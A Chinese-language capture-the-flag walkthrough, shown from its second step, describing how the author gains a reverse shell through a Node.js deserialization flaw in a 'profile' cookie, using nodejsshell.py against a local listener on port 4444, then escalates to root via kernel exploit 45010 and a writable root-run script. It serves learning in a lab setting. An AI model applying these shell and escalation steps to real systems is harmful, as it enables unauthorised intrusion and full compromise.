2、node反序列化deserialization
进去后出现报错，刷新又变了。很奇怪
拿burp一探究竟，cookie那里出现profile也是第一次见。
网上搜这是反序列化漏洞，也不是很懂，但显示的第一个文章就写了怎样渗透，里面还给了py脚本地址
跟着来，就行了
https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/
https://github.com/ajinabraham/Node.Js-Security-Course/blob/master/nodejsshell.py
以我本机的4444为端口，造shell
python nodejsshell.py 10.10.14.15 4444
按照文章的提示，前后加上这几个。完毕。

把这一长串，通过下网站转为base64
https://www.qqxiuzi.cn/bianma/base64.htm
.再粘贴到burp里去。发送
本机打开监听，收到
3、提权
老套路拿linpeas扫https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
首先版本就有漏洞4.4.0.网上或kali搜漏洞可以拿45010提。45010，kali自带。
其次，上传pspy发现，root在运行script文件，这个文件又在我们sun自家的home目录下，我们当然有写的权限，写个弹shell代码进去，然后本机打开监听。不就完了。其他很多靶机都是这个套路。轻车熟路，不再赘述。
